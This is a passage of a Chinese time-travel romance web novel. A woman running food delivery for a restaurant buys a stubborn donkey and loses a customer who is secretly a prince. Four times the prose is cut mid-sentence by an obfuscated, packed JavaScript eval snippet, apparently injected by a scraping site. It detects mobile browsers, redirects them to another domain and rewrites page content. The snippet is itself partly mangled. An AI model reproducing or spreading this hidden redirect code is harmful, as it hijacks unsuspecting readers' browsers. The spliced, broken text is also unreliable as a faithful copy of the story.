听到他偷偷叮嘱常青青说少放香荽却被王爷抓住的时候,小满也冷不丁打了个寒战,心有余悸道:“你也是忒胆大了!” “王爷此番来西南角,是为隐藏身份查案。不然闹得这个习性传得到处都是,人人都知道王宣公子如此样貌又不喜食香荽,稍有人留心打听一下,不就猜到他便是堂堂瑄王?这还能查案吗?”小满快人快嘴说了他一气,恨铁不成钢道:“你呀!” 谷雨委屈道:“我也是好心嘛……我还特地叮嘱常记的人保密呢。” 小满呵呵一笑:“好心也得不办坏事才成!你能保证人家嘴严实?好在王爷知晓你,这次也只罚你三个月月俸做惩戒,不然你以为哪能这样简单就过去了?” 谷雨撇了撇嘴,又哀叹了一声:“好姐姐,若没有你,我可怎么办啊……我不活了!” 小满被他哭得心烦,随口敷衍道:“好了好了!我去替你求求情。……胡说这些做什么?” 周珩在书房桌案前站定,寻了纸,随手写些不成字句的杂笔,一边梳理着思路。 在北阖巷买了宅子之后,他成日都带着暗卫出门探察。 前些日子又听闻南邻巷出了一个常记酒楼,广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496754|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒信报降价揽客,还破天荒地出了膳食送上门的服务,引得周边人都在讨论,据说此举多亏了常记的一位名叫常青青的女子。 常记的火热来的毫无预兆,很有些蹊跷。他觉得可疑,为了寻查线索,特地命人点了这家的外送服务,看看是否真的如街坊所说的那样,口味一流,服务周到,亦或是有人借此当作幌子,背后干些见不得台面的勾当。 那日收到常记食盒,周珩尝了些许,虽无异常,却被当日送餐之人大胆的模样给惹得不虞。今日想起自己忘记打探那位常青青的事,才鬼使神差又点了常记的外送。 今日一见,这送餐之人居然就是常青青。 先前听说她一手将常记酒楼从濒临倒闭的境地救了出来,生意做得蒸蒸日上,他原先觉得可疑,可如今一见,常记的这位常青青确实不像是参与盐案的样子,最多算是有些商户别出心裁的巧思罢了。 可她非但不知羞耻,反而变本加厉,行为举止实在过于放肆——盐案的线索没查到也就罢了,却莫名其妙引来了不必要的关注。 想到此处,周珩不觉冷下脸,他将笔轻轻搁在案上,看不出神色,却直叫人心里打鼓。 正巧小满来送茶点,顺势问道:“王爷可要用午膳?李师傅已预先备好今晌的膳食。” 毕竟谷雨才说过,王爷嘱他将常记的食盒扔了。想必今日是吃的上李师傅备好的午膳了。 周珩默许了。 小满冲外头道:“传膳吧。” 而后侍人一一将午膳呈了上来,照例是四荤四素。如今出门在外,一切比不得王府里头,得了王爷的嘱咐,一切从简。 小满一边布菜一边道:“王爷可是还为谷雨先前的失言而忧心?” 周珩淡淡扫她一眼,“怎么?” “若是王爷记挂,也可由我寻几个人去叮嘱下常记的人。”小满道,面上是盈盈的笑意,言辞间却毫不留情。 说是叮嘱,实则是威胁,轻了叫她家迁移出京另处谋生,重了则叫常记寻常生意都做不下去,打入牢狱。小小商户而已,开罪了王子皇孙,又翻得起什么浪花? 周珩不置可否:“去吧。” 话一出口,他又蓦地想起常青青那双盛满明亮碎光的眼,看起来生机勃勃,还带着些满足的笑意。想来或许是很喜欢这份差事,又或者是满足于自家的营生。 寻常百姓辛苦劳作经营生活,若是突然被断了营生,便犹如海中的船遭浪打翻,指不定命运会如何流离。 那双黑而亮的眼睛也会因此变得怯懦沮丧,碾落入土。 小满领了命,福了福身子便要出去做事,却突然被王爷叫住了。 小满小心翼翼道:“王爷还有何吩咐?” 周珩看她一眼,语气平稳,神态莫测:“这事你不用管了。” “啊……是!”小满讶然,旋即应了声。 王爷改主意,定然是因为还有别的打算!或是想亲自去会一会这常记,又或者常记牵扯进了盐案,是个切入点……总之,主子的想法可不是她一届奴仆可以妄加揣测的。 王爷不仅相貌俊美过人,举止也实在是高深过人! 怀着一颗为主分忧的心,小满退了出去。才一出门,就猛地拍了下自己的脑门。 坏了,忘记给谷雨说情了! 她纠结片刻,索性把谷雨的死活抛在了脑后。罚三月月俸而已,左右也是他办事不力,是得治治这毛病。 8. 毛驴 将食盒送出去之后,常青青的心情激动了好一会儿。可她自觉早已不是前日春心乍动毛毛躁躁的愣头青了,如今在恋爱一道已经很有经验,便强压嘴角故作镇定一路走了回去。 走到南邻巷口,却远远被一片石头给砸上了腿,她吃痛地嘶了一声,下意识抬头去寻。 近旁的大柳树上倒挂了一个衣衫褴褛面黄肌瘦的小姑娘,下巴尖得很,脸颊瘦得几乎凹了下去,眼睛里却闪着狡黠的光。 她啊了一声,半晌才打招呼道:“槐阳!你怎么在树上挂着?” 槐阳嘻嘻笑道:“看你走路晃晃悠悠跟流了魂一样,叫你一下!” 说罢,槐阳又接二连三丢来几个圆滑光亮的石头,噼里啪啦坠在她身前,齐整整排成一串。 常青青真心实意赞美道:“好厉害!” 槐阳一个翻身跳了下来,拍拍裤子,窜到常青青旁边揽着她的肩膀,得意道:“这算什么?我打水漂可以打十几个水花,有空教你!” 常青青送外卖头几日不大认路,在街坊间穿来穿去,愣是没找到。街边的槐阳见她来回在同一个地方打转了三回,险些笑出声,这才上前给她指了方向,于是两人便认识了。 槐阳姓柳,是南邻巷土生土长的小孩儿。打小时候一场大雨冲了她家的茅屋,自此便没娘没爹,每日在街头流浪,街坊邻居知道她家的境况,从前偶尔也会接济。 可谁家的银子也都不是大风刮来的,随着她年岁渐长,街坊也不愿再成日养活一个孤女,况且接济多了自家也过不去日子,还要被人挤兑说要么收养了成全自个善心,后来便也没什么人再愿意出头。 打小吃百家饭长大,柳槐阳最是能揣摩别人脸色,早知道不能靠别人赏饭吃。可她生性野惯了,不愿把自己卖给谁家为奴为婢,索性只在街巷里转悠,渴了饿了便帮人跑腿做些活计赚点饭钱,困了自回自家的破烂茅草屋睡一夜,如此一来,好歹是全须全尾长大了。 槐阳是本地人,对京城南邻巷周边所有事都知根知底,哪处路最好走,哪家种的杏树最茂盛结的果最香,她掰着指头都能数出来。 常青青一个双重意义上的外来户,看她如看京城活百科。槐阳虽然年纪比自己小一点,可说什么都让人觉得厉害新鲜。每回说起民俗风采,常青青都亮着眼睛听,一脸崇拜地捧场,于是惹得柳槐阳越说越骄傲,每日最喜欢凑到常青青近前来唠嗑。 看着槐阳脏兮兮的脸蛋,常青青唔了一声,蓦地想起来一个要紧事儿,她搓了搓手:“槐阳,我问你个事儿成吗?” 柳槐阳也不问是什么事,只砸了砸嘴:“一个馒头。” 常青青说:“一碗云吞。” 正好是饭点了,她才送了单外卖挣了钱,有的是钱请好姐妹吃饭。 “成交!”柳槐阳生怕她反悔,拽着她去了钱大娘的云吞摊。 肉馅云吞热腾腾出了锅,皮薄馅儿大,撒上胡椒粉香菜干料小葱,馋得人直流口水。 柳槐阳一呼噜吞下去一个,烫得嘴里边翻来覆去炒起了馄饨也舍不得吐出去,硬生生吞了下去,好半天才吐出一个字:“香!” 常青青:“……你慢点吃,别烫到了。” 柳槐阳摆摆手,又吞下去几个,这才摸了摸肚子问她:“你刚刚想问什么来着?” “那个……”常青青犹豫了一会儿,琢磨着先前谷雨的发音:“你知道香虽是什么吗?香虽……乡虽?一种吃的吗?反正大概就是这么个调子。” 谷雨叮嘱她少放这东西,说明应当是一种佐餐的调料。 据她观察,这个时代的调味料同她印象中古代的那些也没什么区别,无非柴米油盐酱醋茶。可哪一个似乎都不叫这名字,或许是别的。但旁人面前她不敢多问,怕漏了馅,只好来找这位活百科来探探口风。 柳槐阳瞪大了眼睛,上下打量了她一遍,活像没见过她似的。 常青青觉得不妙,谨慎道:“……怎么了?” 柳槐阳狐疑地盯她:“你家真是开酒楼的?你怎么连这个都不知道?” “……”常青青有些心虚,拽着柳槐阳的手晃了晃,打岔道:“好姐姐,你快些告诉我吧。” 柳槐阳指了指云吞碗里飘着的佐菜,“就这个,香荽。” 她挠了挠头,这成天都在吃的东西……怎么有人连这个也不认得? 常青青啊了一声,呆呆看向碗里。柳槐阳手指直指向切成碎末的绿叶丝,任谁打眼一看都知道是香菜! 这东西居然也有名字的差别! 好在她谨慎,没有多问,要是传了出去,肯定会惹人生疑——酒楼老板的女儿竟然连这寻常小菜都不认得,万一被抓去盘问,再发现她是个外来魂儿,说不准还会被当作奸细拷打呢! 想到这里,她不禁打了个寒战。 柳槐阳没心没肺,丝毫不在意她的古怪。三两口将那碗云吞吞下了肚,却还意犹未尽地舔了一圈嘴边,将嘴边一圈油光都舔下了肚。 常青青想东想西,实在吃不下去,愁眉苦脸窝在一旁,托着脸长吁短叹。 柳槐阳吃完自己的,忍不住瞧她好几眼。目光狼似的投向她碗里,见云吞还剩下一大半。 柳槐阳禁不住盯着碗问道:“你这碗里的……你还吃吗?”她的目光绿油油的,活像豺狼见了鸡,恨不得直接端起来倒进肚子里。 常青青抿了抿嘴,难得不知道说什么好,只偏头道:“大娘,再来一碗云吞面,要大碗的。” “得嘞,马上就好!” 钱云春一手掀开一个大锅盖,锅里顿时冒出一片白蒙蒙的热雾,熏得人脸上起了细细密密的小水珠。 柳槐阳就蹭过来:“好姐姐,你可真是我的衣食父母!” 常青青觉得她这个词的用法不算对,仔细回忆了一下自己寡淡的语文课的经历,可她太久没念书,不知道该怎么纠正,只好说:“快吃吧,吃完了我还有事呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496755|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么事儿?”云吞面来了,柳槐阳饿虎扑食一般,几乎把头埋进碗里,却还能模模糊糊挤出一句话来问她。 常青青起身掏出铜钱,递给钱大娘结了账,才又坐回去。 “这个……我想买头毛驴。” “毛驴?”柳槐阳抱着碗,猛地抬起头来看她,嘴里还鼓鼓囊囊塞着一整个云吞,看起来十分好笑。 ** 骡马市是西南片区最大的牲畜交易区,牛、马、骡、驴,样样都有,平日要采买牲畜,直奔这里准没错。 一排毛驴排在绳拴后面,长相各异。 有的打着响鼻,眼神漆黑直直盯着来来往往的行人。有的脾气甚差,稍微伸出手去便要撅蹄子咬人。有的很是温顺,可看着皮肉骨架略显瘦弱…… 柳槐阳带着常青青一个接一个看了过去,摇头叹气。 卖驴的老板脸色差劲极了:“你们这都转了多少圈了?绕着我的驴愁眉苦脸的做什么?不买就走!别耽误咱家做生意!” 这俩半大不小的姑娘一个个看过他家的驴,长吁短叹评头论足,把好些顾客都吓走了,还以为是他家的牲畜成色不好,这他还哪能有什么好脸色? 常青青有些不好意思,默默拽了拽槐阳的袖口:“要不我们就随便买一只吧……”这都是看的第三个马行了! 柳槐阳大义凛然道:“这怎么行?!今日可是来挑选坐骑的,咱们必须要挑一只和你最投缘的!” 她说话声音太大,引得路人都纷纷投来目光。常青青一手捂住脸,直想寻个地缝儿钻进去。 前些日子她思来想去,觉得现行的送餐法子还是有些问题。譬如说别人为了递帖子要专程上门跑一趟,然后再回府。光是为了传递信息或传一句我家谁谁今日想吃些什么菜。 没有电话用来传递消息,为了解决这个问题,常青青总算想出来个办法:最好是由她亲自去每日收集一趟食客的意愿,汇总好之后再递回常记,一并做了差人送出去。 这样省的食客差人一趟趟跑,而她也可以一次性收集到订餐的信息。至于范围,就先用南邻巷这附近的几条街坊邻居来试验。 但这样一来就有了个问题,每日跑这些路总归是累人,得有个代步工具才行。 她这些日子观察过,寻常百姓没几个家里有马的。听人说马行里随便一匹也得十几二十两银子,更不必提那些良马快驹了。而且马速度太快,在这街坊里横冲直撞,若是伤了人,反倒不大方便。 倒是看着周围邻居有些家里养驴的,有时出个门用来代步。价钱便宜,只有马的十分之一。速度虽慢些,可也能满足大部分人的需求,而且性情温和,吃得少,怎么不算是绝佳的选择? 最重要的是,她看上毛驴的稳当了。走在路上平平稳稳,就算是带着食盒在上面,也不会颠得洒漏! 常青青认真调研许久,得出最终结论: 毛驴,就是完美的小电驴平替! 9. 起名 她二人一一走了过去,驴马看过不少,却愣是没相中一只合眼缘的。 柳槐阳比她这个买主还要热心,一会儿问牙口一会儿看蹄形,一副非得下定决心挑出一个驴中之冠的架势。 “唉!老板,你这里没什么好货啊?”柳槐阳咬了咬嘴里的草叶,试图跟驴行的老板杀价。 “我这里不讲价,要买就买不买快走!” 老板已经极为不耐,满脸怨气,几乎要掀苕帚赶人。 切!柳槐阳翻了个白眼,什么态度这是? 她揽过常青青的肩膀,咬着草叶含糊道:“走就走!咱们去看下一家!” 然而拽了一把却没拽动,她转头去看,顺着常青青的目光,看见一只……躲在墙角的毛驴? 墙根底下,一头驴一身棕灰色的毛发鲜亮,皮肉紧实,浑身看起来格外有力,却只在一旁不声不响地嚼着草料。 常青青看愣了神。 不怪别的,只是这头驴的眼神看起来格外懒散,和其他被拴在前头一排木架上的都不大一样。 柳槐阳见状,指了指那只与众不同的问道:“老板,这只看着品相不错,怎么不和其他的拴在一起?” 驴行的老板哟呵笑了一声,摆了摆手:“那头啊!看着是好,可脾气太倔,没人管得了它,来往的客人相中了想买,愣是从墙根底拽不出来,我每回都得费了九牛二虎之力才能把它从场里拉出来。你们要是使唤得动,尽管把它牵走吧,价格都好说。” 话是这么说,可他眼里分明是促狭的嬉笑,明摆着笃定了这两个半大姑娘降不住这头倔驴。 柳槐阳不信邪,一个箭步窜了过去,抬手就想去摸驴的脑袋,却被它一个扭头躲了过去,甚至呲起了一口齐整整的牙,险些叼断她的手! 好险! 柳槐阳吓得急急抽回手,驴口逃生,这才免了手上留下一整排牙印。 常青青被她吓了一跳,忙去捉她的手:“没事吧?!” “没,没受伤。”柳槐阳心有余悸,擦了擦虚汗,扭头冲那老板怒道:“你!你这驴怎么还咬人?也不早说!”真真是凶兽! 老板的态度很是吊儿郎当:“甭说我事前没警告啊,都说了这驴脾气倔,我也没法儿。” 他嬉笑着搪塞了过去,分明是知道驴会咬人,却也不提醒,只是为了搓搓先前柳槐阳气他的风头。 “你!”柳槐阳气得狠了,就要上去骂他,却被常青青给拉住了。 她下意识回头,却见常青青冲她摇了摇头:“别急,看我的。” ?看你的什么?柳槐阳眼里全是怀疑,却也顿住了动作,看她要翻出什么花样。 只见常青青徐徐走了过去,冲那驴子道:“你好。” 老板:“……” 那驴子半个眼神都没给她,老神在在地大口嚼着草料,一双驴唇翻得十分夸张。 柳槐阳:“……”实在不行还是下一家吧,这是在通灵?这驴看着也不大通人性! 常青青倒是没在意,却只是慢慢伸手摸了上去。 “哎——”随着她的手越靠越近,柳槐阳霎时间有些急了,“仔细它咬人!” 驴子偏了偏头,似乎正要张嘴去叼这只从天而降竟然胆敢触碰自己的手,看得柳槐阳魂飞魄散,几乎就要蹦过去拖青青回来。 可下一秒,常青青的手就稳稳当当落在驴的脑袋上,完好无损! 而那先前凶狠十分的驴子竟然只是张嘴打了个呵欠,又旁若无人地大口嚼着,好似对身旁多了个人丝毫不在意,甚至还蹭了蹭那只手。 “……”柳槐阳瞠目结舌。 “……?!”驴行老板的下巴大张,险些裂开。 常青青见它对自己毫不排斥,顿了一顿,又摸了一把。 嗯,毛皮油光水滑,肌肉发达,是个好坐骑的料子。就是看这大口吃饭的样子……不知道养不养得起? 单是这一会儿便吃了一大把苜蓿草,若是在家里,每日得吃多少东西?要是把她吃穷了可怎么办?想到这里,常青青有些忧心忡忡。 柳槐阳揉了揉眼睛,确定自己不是看花了眼,这才后知后觉地挪了过去,远远戳了戳她的手:“你这……怎么回事儿?” 常青青摇摇头:“我也不知道。好像就和这只投缘?” 不知怎的,这只驴的毛色总让她想起自己先前骑了许久后来送去报修的小电驴配色…… 驴行老板也是个做生意的人才,三两下就整理好了表情,乐开了怀:“姑娘,这驴看着和你有缘,单单对你这么客气!若是换了旁人过去,估计早得被它咬一口肉下来!不如这么着,您就买了它吧?大不了我便宜点儿。” “真的?”柳槐阳将草叶子从嘴里扯出来,连步窜了过去,“便宜多少?” “真心要的话,”老板见她上来砍价,撇了撇嘴,伸出两个指头,“二两银子!” 柳槐阳嗤笑一声:“当我傻子?一两五钱!” 老板神色一凛,知道今日碰上了个刺儿头,不扒一层皮不松口。他咬咬牙,狠下心道:“一两八钱,最低价!” 柳槐阳嘻嘻笑道:“一两六钱,不卖我们就走了。” 常青青拽了拽她的衣角,小声道:“这会不会太低了……” 柳槐阳握了一把她的手,背后摇了摇。 放心! 她看得分明,这老板早就想将这头倔驴出手了,要不也不会任这只独自一头窝在墙角。又吃得多,又脾气差会咬人,还不听老板使唤,他当然想趁早出手,哪怕亏些钱也十分愿意。 果然,拗了三秒,驴行老板败下阵来,没好气冲她道:“行了行了,牵走吧!今儿碰上你算我倒霉!” 柳槐阳扮了个鬼脸。 常青青一手掏钱一手牵驴,数出一两六钱给了出去,顿时小荷包就空了一大截,她有些肉疼。 虽然之前已经跟娘她们说过采买的事情,也早已得了一笔银钱。可真到了这个时候,将钱财从自己兜里掏出去,还是叫人心如刀割! 可是…… 她看了看自己身旁这只强壮沉默的棕驴,心情好了点。 这可是自己辛苦劳作买来的坐骑! 柳槐阳在一旁站的远远的,估计是还有些刚才被咬的余悸。她探头探脑问道:“这……看着还挺不错的。总归是买了,你要给它起个名字不?” “我已经想好了。”常青青摸了摸驴背,眼里亮着坚定的信念,一字一顿道。 “就叫它小电驴!” 柳槐阳:“啊?” 见她神色古怪,常青青忧虑道:“你不喜欢吗?” 她还想着用这个名字怀念一下前世呢…… “那倒也不是……”柳槐阳心情有些复杂,“好也是挺好的。”就是会不会有点太简单直白了? 小店驴?哪个店?常记吗? 所以这名字的意思是常记的驴! 柳槐阳幽幽叹了一口气,躲在常青青身后,趁机摸了摸驴背上的毛皮。 你这主子的起名水平堪忧啊,小店……驴。 无论如何,买了一头驴的好处便是回去的路上不用腿着。 常青青摸了摸小电驴,它便十分通人性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496756|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地窝了前蹄弓下身子,待两人纷纷上去之后才起了身,又稳稳当当小步跑了起来。 柳槐阳瞪大眼睛,“这可真是奇了!……钱花得值!” 驴背上肉还算厚,坐着也不怎么硌屁股。不知道是不是这驴的天性使然,它走起路来竟然似乎比寻常毛驴要快些。 可就算如此,坐在它身上也觉得十分平稳,丝毫不颠簸。 常青青笑了,眼睛里也亮起星星点点的光。 小电驴比她想的还要好! 原来以为只是买了一个代步工具,可现在看来,却意外的顺利。 她顺手给小电驴嘴边递了一根先前老板送的苜蓿草。得了食物的奖赏,小电驴顿时来了劲,步子迈得哒哒响,三两下就跑进了南邻巷,一路跑进常记酒楼,甚至忽闪起一阵风来,十分之风驰电掣! * 一家人围绕着小电驴,上下左右转悠了一圈,啧啧称奇。 小电驴在人们的视线中站着,丝毫不为外界所动,悠然自得地嚼着食料。 常青青紧张地捏了把衣角:“娘,爹,你们觉得怎么样?” 常富嘶了一声:“这驴皮相和牙口倒是好,就是……这脾气会不会有点太差了?” 常洪洪揉着方才试图伸过去摸却被狠狠咬了一口的手,委屈道:“青青,这驴也太凶了!” 李银花道:“青青都说了让你仔细点,你非得去伸手,被叼了还想怪谁?……倒是青青,这驴不会伤了你吧?” 常青青摇摇头,将手抚上驴背:“娘,你看,它不排斥我。” 她又道:“下来点。” 在一众人惊诧的目光中,那头倔驴当真乖顺地窝了下来,留出一个身位供常青青上去,十分之通人性! 常青青又拍了拍它,小电驴便独自去后院的草场跟前转悠了。 常洪洪看呆了:“这……这真是奇了!” “这驴成精了?”李银花从来没见过脾气又倔又诡异得乖顺的牲口,咋舌叹道,“这么听你的话!” 常富笑呵呵道:“这是好事!青青之后出门还能省些力气。” 李银花顿时想起什么,忙问她:“青青,你买这驴,不会是为了送外食方便吧?” 常青青点了点头,脸上俱是亮晶晶的笑意。 没错!有了这小电驴,今后无论来回跑多少趟,都不在话下了。 * 翌日。 南邻巷一早起来便十分热闹,大伙儿老远便能见到一头棕褐色毛驴哒哒地踩着步子,一一地迈过整条巷道,背上坐着的赫然是这阵子大出风头的常青青! “哟!这是怎么了?今儿这么大阵仗?” 钱大娘扬扬头,笑着问道。 常青青灵活地翻身窜了下来,将一张纸封压在了巷口附近的药铺门口,冲钱大娘道:“钱大娘早!” “青青来了!今儿个不是还没到饭点吗?这是什么东西?”药铺的人有些好奇,探头出来问。 药铺在南邻巷最外头,离她家的酒楼位置最远。若是药铺的人想进来用饭,光走也得一会儿,大多时候不太方便,因此也少有人愿意光顾。 但是自外送服务推出之后,药铺的郎中伙计们却很愿意叫她家的外送。 一则因为平时来抓药的人多,忙的时候顾不上吃饭,有人来送餐确实是方便许多。二则常记的味道不错,几人一并点了餐食,也不算太贵,送过来贵不了多少,自然更愿意省些力气跑着去吃。 常青青笑着将那信封递了过去:“正好,我们常记今日推出了外送的新法子,您打开看看!” 10. 新模式 伙计虽不明所以,却下意识接过了那份薄薄的信单,打开一瞧,便会意地笑了。 【 劳烦问客官,可要预订常记酒楼的餐食?若有意愿请留信于此,一个时辰后回收此件。 】 药铺的伙计赞叹不已:“你这个法子好!” 钱大娘耳朵尖,早听到她们在一旁说这些话,心里好奇得很。正巧这会儿铺上没什么人,她也凑过来看热闹:“怎么个事儿?给我也说说!” 伙计指着信封笑道:“常家这姑娘不得了,一次性散出来这些单子过来,叫人预先把今日是否点她常家的餐食、要点什么餐食都一并写上来,她再统一回收过去!跑一趟就能收集到今日要点外食的人的信息,还省下我们单独跑一趟去寻她的功夫,这真是妙!” 钱大娘听着,嚯了一声:“你这脑袋瓜子怎么长的?” “是娘亲出了主意!”常青青抿着嘴笑,脸颊旁露出一个梨涡。 话术是她娘帮忙润色的,但这主意嘛……她是因为受到了前世店铺送牛奶的启发。 小的时候手机还没那么普及,信息传递方式也慢。听班上的同学们说起来,有时候哪家哪户要喝牛奶,便需要邮差上门送信的时候顺嘴提一句,这便能把订牛奶的信息传递出去。 当然,牛奶是一次定一个月的,所以邮差一般一问也就是一月的。但她外送便得要日日收集一遍信息,毕竟人每日不一定吃相同的菜。如此一来,便能飞快地收集到顾客们的用餐信息,还省下了顾客特地跑一趟的时间,自然也会有更多人愿意吃常记的饭菜。 虽然忙点,每天要多跑一趟来回,可好在她如今已经有了小电驴,动作快多了! 伙计回屋去问了一圈,三两下将今日要定的餐点一一写了上去,当场交给了她:“常姑娘收好吧,这是咱们铺里中午的食单!” 常青青仔细接了过去,认认真真看过一回,叠方正收进衣服兜里道:“多谢!” “哪儿能?我可还得说呢,你们常记这生意做得可真是不错!”药铺的人连声称赞,“有了常姑娘,这以后啊,保管常记生意常青!” 常青青被他这话说得臊红了脸,忙摆摆手只道:“您过誉了!我还得先去下家问问,我明日还来送这个信。日后若是要用餐,只管写上来,若不用便空着。” 伙计这会儿也是忙里偷闲,见她告辞,也笑着回了招呼:“那是自然,你先忙吧!” 常青青翻身上驴,一拍驴脑袋,它便哒哒哒地又赶往下一家了。 她这一回发放订餐信息的单子,姑且只先放给从前定过她家餐食的门户,想着看看反响,若是大家都喜欢这个形式,便可推广出去。 一会儿功夫,她便一一地将订餐的信单放在了人家门口,有时撞见主人在,便当面交代了事,甚至还收到了当即订餐的讯息。于是一趟没走完,她手上便收集到了两三张订餐的单子。 日头已经升起。她抬起头来擦了擦汗,终于到了最后一家。 面前又是熟悉的奢华宅邸,她怀着期待的心情跳了下来,将信纸寻了个石头当作镇纸放在王公子家宅门前。静候着小满她们出来能看见这小巧思。 若是宅子里有人出来,便也能即刻问个话,不用再重新折一趟,又从常记再出发一趟来收这信息,因此她刻意在一旁等了一会儿。 果不其然,没多久宅子里便出来了仆从,看着人高马大,有些面生。常青青有些心里打鼓,却还是壮着胆子上去。 “两位大哥,可否劳烦您将这信纸传于小满姑娘?” 那日她与小满闲谈几句,很是投缘,还约定好日后再有机会一同玩乐呢!想必小满见了定会知道什么意思,说不得还能出门来聊聊天。 那侍从见她突然上前来,先是浑身上下紧绷起来,气势也蓦地冷冽十分,眼神里竟流露出些杀气,吓得常青青后退了一步。 这……这人怎么看起来有点像是打手? 好在侍从还算讲理。其中一个接过她那张纸,扫了一眼,便道:“稍候片刻,我等进去问问。” 说罢他便回身进了府,只余另一个在一旁,目不斜视地站着,活像个雕塑。 常青青应了声,乖乖在一旁等候消息。 没多久,那一位进去传信的便出来了。将信纸交还予她:“小满姑娘说,今日不定餐。” 她下意识打开看,信纸上空空如也。 常青青有些不死心:“真的吗?真是小满姑娘亲口说的?” 侍从冷冰冰道:“是她说的。” “喔……”常青青有些失望,将那信纸收进了袖子里,蓦地想起什么又抬头问:“那明天呢?” 今日不订,说不准明日需要?后日…… 侍从道:“明天也不必来。小满姑娘说了。日后公子不再订外食,嘱托常记的人不用再来了。” 常青青被这一句话劈头盖脸地丢了过来,如遭雷击。 好半天她才反应过来,愣愣道:“喔……喔,这样!那,是为什么呢?饭菜可是有哪里不合胃口?” 侍从看她一眼,冷冰冰道:“不知。” 没得到任何消息,反倒失去了一个潜在大客户…… 常青青失魂落魄地乘着小电驴离开了。 侍从见她离去,转身进了宅子。 “启禀王爷,”他抱拳道,“常记的人已经离开。” 周珩颔首。 小满抬头看了王爷一眼,斗胆揣测着主子的心意:“她方才如何说的?” 侍卫恭敬道:“常记的人问,可是饭菜不合胃口?” “那你如何说的?” 侍卫说:“我答不知。” “那她便走了?没别的反应?看着如何?”小满起了兴致,追问了一句。 侍卫干巴巴道:“走了。看着有些低落。” 小满道:“这样!你……” 周珩看她一眼:“你今日话有些多了。” 小满顿时噤了声。 周珩将手中的折扇一握,轻轻摇了一摇:“走吧,张兆。今日便去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496757|170228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看你说的那间客栈。” 瑄王今日一身月白色外衫,端的是风流倜傥,折扇一摇,宛若俊俏佳公子。 小满躬身道:“恭送王爷。” ** 常青青一路边走边想,甚至险些忘记了收回她先前放下的信单。直到过了地方,才后知后觉地意识到自己少收了一户人家的单子。 她忙跳下去,将自己从前放在那处的信纸刨了出来,打开一看,空空如也。 真是屋漏偏逢连夜雨,这一路上收回的所有的信纸几乎都是空的…… 她沮丧地将那信纸揉成一坨,团巴团巴塞进了怀里,又翻身上驴,拍了拍小电驴的脑袋,示意它回程。 这会子只剩下最后一家的信单要收了,常青青放松了精神,怔怔思考着。 王公子为何突然不订常记的餐食了呢? 虽然人家没有每日都一定要订她家饭菜的道理,可没有缘由便如此嘱咐她以后不必再来,多少让她有些失落。 王公子虽只定了她家的餐食两回,她却已经心里对这处十分熟悉,几乎觉得他成了常记的回头客。 或许是她行为举止之间太过得意忘形,忘记了服务业需要保持始终如一的热情,这才引得人家不愿告诉她缘由。也或许是昨日的饭菜吃出了问题,又或许是王公子便是不喜再吃外送…… 罢了。事已至此,再想也是无法,只能暂且先这样。 可原先每天都盼着见他,现如今只好遥遥想着,毕竟没了必须要见人家的由头。她总不能日日无事就去在人家附近晃悠吧? 常青青叹了一口气,哀悼她无疾而终的感情。 或许是也察觉了她低落的心情,小电驴甩了甩脑袋,怪叫了几声,声音高亢清脆,顿时将她从愁云惨淡的思绪中拉了出来。 眼见周围人纷纷投来惊异的目光,常青青紧张万分,赶忙安抚住它,好容易才止住了小电驴的大叫! 呼……她长出了一口气,寻了一处人烟稀少的树根底下,翻身跳了下来,看着小电驴的大眼睛道:“你怎么突然那么叫出声来了?” 小电驴眼神十分平静,却冲她又嘶声大叫:“呃——呃——” 常青青彻底败下阵来,凑过去摸了摸它的脑袋,“饿了?要吃秸秆?等回去就喂。” 小电驴却只用头拱她,几乎将她拱得挤到一旁。 常青青怒道:“喂!” 然而这家伙仍是不消停,非得将她拱得沿着树根跑,直至气笑了出声才安静下来。 常青青一头都是树上落下来的碎叶草屑,彻底没了脾气。她看向小电驴,对方却直勾勾看向远方,看着十分安分,丝毫不见先前怪叫乱窜的模样。 她叹了口气,抬手摸了摸它的脑门:“好了!我不想了还不行吗?快些走,还有一家要收单子呢。收完了还得再出来送外卖,今日事情还多着呢。我可没工夫伤心。” 